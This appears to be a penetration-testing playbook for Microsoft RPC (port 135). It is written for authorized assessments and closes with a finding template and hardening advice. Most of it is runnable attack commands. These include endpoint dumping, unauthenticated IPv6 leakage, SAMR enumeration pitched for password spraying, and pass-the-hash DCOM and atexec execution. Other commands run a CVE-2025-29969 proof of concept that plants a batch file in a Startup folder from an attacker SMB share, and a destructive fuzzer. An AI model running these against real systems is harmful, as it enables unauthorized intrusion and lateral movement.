Pentesting Msrpc

Pentesting MSRPC (port 135)

When to Use

• During authorized Windows/AD assessments when TCP 135 (or 593, or RPC over SMB on 139/445) is open
• When mapping which RPC services and named pipes a host exposes (LSA, SAMR, Task Scheduler, Service Control)
• When you have valid credentials and want remote code execution via DCOM (dcomexec)
• When enumerating network interfaces/IPv6 addresses without authentication via IOXIDResolver
• When researching RPC interface attack surface (fuzzing) on an isolated test host

Quick Enumeration

# Dump RPC endpoints registered with the endpoint mapper (135)
rpcdump.py <IP> -p 135
rpcdump.py -port 135 [[domain/]username[:password]@]<IP>

# Map endpoints reachable over SMB named pipes / other transports
rpcdump.py -port 139 [[domain/]username[:password]@]<IP>
rpcdump.py -port 445 [[domain/]username[:password]@]<IP>

# Metasploit DCERPC scanners (all target port 135 except tcp_dcerpc_auditor)
msf> use auxiliary/scanner/dcerpc/endpoint_mapper
msf> use auxiliary/scanner/dcerpc/hidden
msf> use auxiliary/scanner/dcerpc/management
msf> use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

Critical: Checks Most Often Missed

1. Endpoint mapper exposes the dynamic port range — rpcdump.py reveals IFID values, the named pipe, and the binding (ncacn_ip_tcp, ncadg_ip_udp, ncacn_np, ncacn_http). Each IFID maps to a high-value service.
2. Named-pipe interfaces of interest:
   • \pipe\lsarpc (LSA) — enumerate users
   • \pipe\samr (SAMR) — read SAM elements and brute-force users regardless of account lockout policy
   • \pipe\atsvc (Task Scheduler) — remote command execution (atexec)
   • \pipe\svcctl / \pipe\srvsvc (Service Control) — remote start/stop services + command execution
   • \pipe\winreg (Remote Registry) — read/modify the registry
   • \pipe\epmapper (DCOM) — info gathering and password grinding
3. IOXIDResolver unauthenticated enumeration — the ServerAlive2 method in the IOXIDResolver interface leaks all network interfaces (including IPv6) with no auth.
4. DCOM RCE with valid creds — dcomexec.py executes commands via DCOM objects (ShellWindows, ShellBrowserWindow, MMC20).
5. MS-EVEN / CVE-2025-29969 (EventLog-in) — a TOCTOU flaw in the MS-EVEN interface (\pipe\even) lets an authenticated low-privileged user trigger a remote arbitrary file write; it also exposes a file-existence probe primitive.

How to CONFIRM: MSRPC is confirmed when rpcdump.py <IP> -p 135 returns one or more IFID entries with bindings. The presence of \pipe\samr confirms SAMR-based user enumeration is possible; \pipe\svcctl/\pipe\atsvc confirm remote-exec primitives (with creds).

Workflow

Step 1: Enumerate RPC endpoints and interfaces

# Primary endpoint discovery
rpcdump.py <IP> -p 135
# Sample output line:
# IFID: 12345778-1234-abcd-ef00-0123456789ac version 1.0
#   Named Pipe: \pipe\samr  (LSA SAMR interface)
#   Binding:    ncacn_np:<IP>[\pipe\samr]

# Enumerate over alternate transports if 135 is filtered
rpcdump.py -port 445 [[domain/]username[:password]@]<IP>

# Identify exposed RPC services with Metasploit
msf> use auxiliary/scanner/dcerpc/endpoint_mapper
msf> set rhosts <IP>
msf> run

Step 2: Unauthenticated interface abuse (IOXIDResolver)

# Leak network interfaces (incl. IPv6) via ServerAlive2 — no creds needed
git clone https://github.com/mubix/IOXIDResolver
python3 IOXIDResolver.py -t <IP>

# Alternative: rpcmap.py from impacket with a stringbinding
rpcmap.py 'ncacn_ip_tcp:<IP>'

Step 3: Authenticated enumeration via named pipes

# SAMR/LSA user enumeration over RPC (account-lockout-safe enumeration)
samrdump.py [[domain/]username[:password]@]<IP>
rpcclient -U "domain/user%pass" <IP> -c 'enumdomusers'

# Remote registry read over \pipe\winreg
reg.py domain.local/USER@<IP> -hashes <LM:NT> query -keyName HKLM -s

Step 4: Command execution / lateral movement

# DCOM RCE with valid credentials (try each object if one is blocked)
dcomexec.py [[domain/]username[:password]@]<IP>
dcomexec.py -object MMC20 [[domain/]username[:password]@]<IP>
dcomexec.py -hashes <LM:NT> administrator@<IP>          # Pass-the-Hash

# Task Scheduler exec via \pipe\atsvc (port 135/445)
atexec.py [[domain/]username[:password]@]<IP> "whoami"

# CVE-2025-29969 (MS-EVEN) — authorized PoC only, isolated lab
impacket-smbserver -smb2support Share /tmp/safebreach
python write_file_remotely.py <target> <attacker> lowuser Test123 \
  "/tmp/safebreach/Sample.evtx" "calc.bat" \
  "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

Optional: RPC interface fuzzing (isolated VM only)

# NtObjectManager: turn an RPC server DLL into a client stub
Install-Module NtObjectManager -Force
$ifs = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$ifs | Format-Table Name,Uuid,Version,Procedures
Format-RpcClient $ifs[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

# MS-RPC-Fuzzer (DESTRUCTIVE — expect service crashes/BSOD)
Import-Module .\MS-RPC-Fuzzer.psm1
Get-RpcServerData -OutPath .\output
'.\output\rpcServerData.json' | Invoke-RpcFuzzer -OutPath .\output

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Endpoint Mapping

rpcdump.py <IP> -p 135 lists \pipe\samr, \pipe\svcctl, and \pipe\atsvc, confirming the host exposes user-enumeration and remote-exec interfaces for later credentialed abuse.

Scenario 2: IPv6 Disclosure

On a dual-stack host, IOXIDResolver's ServerAlive2 leaks an internal IPv6 address unauthenticated, opening an IPv6 path that bypasses IPv4 ACLs.

Scenario 3: DCOM Lateral Movement

With a captured local admin hash, dcomexec.py -object MMC20 -hashes :<hash> administrator@<IP> yields a semi-interactive shell without creating a new service.

Scenario 4: Account-Lockout-Safe Enumeration

SAMR over \pipe\samr enumerates all domain users without incrementing the bad-password counter, providing a clean user list for spraying elsewhere.

Output Format

## MSRPC Finding

**Service**: Microsoft RPC (DCE-RPC)
**Severity**: <Critical|High|Medium|Informational>
**Host**: <IP>:135 (also 139/445/593 as applicable)

### Summary
<What was found: exposed interfaces, IOXIDResolver leak, DCOM RCE, CVE-2025-29969>

### Exposed Interfaces
| IFID | Named Pipe | Description | Risk |
|------|-----------|-------------|------|
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | SAMR user enum | Lockout-safe grinding |
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control | Remote exec (creds) |

### Evidence
- Command: rpcdump.py <IP> -p 135
- Output: <IFID/binding excerpt>

### Recommendation
1. Restrict access to TCP 135 and the dynamic RPC port range at the firewall
2. Limit RPC over SMB named pipes to trusted management hosts
3. Apply patches for known RPC CVEs (e.g. CVE-2025-29969 / MS-EVEN)
4. Enforce strong credentials to limit DCOM/SAMR abuse impact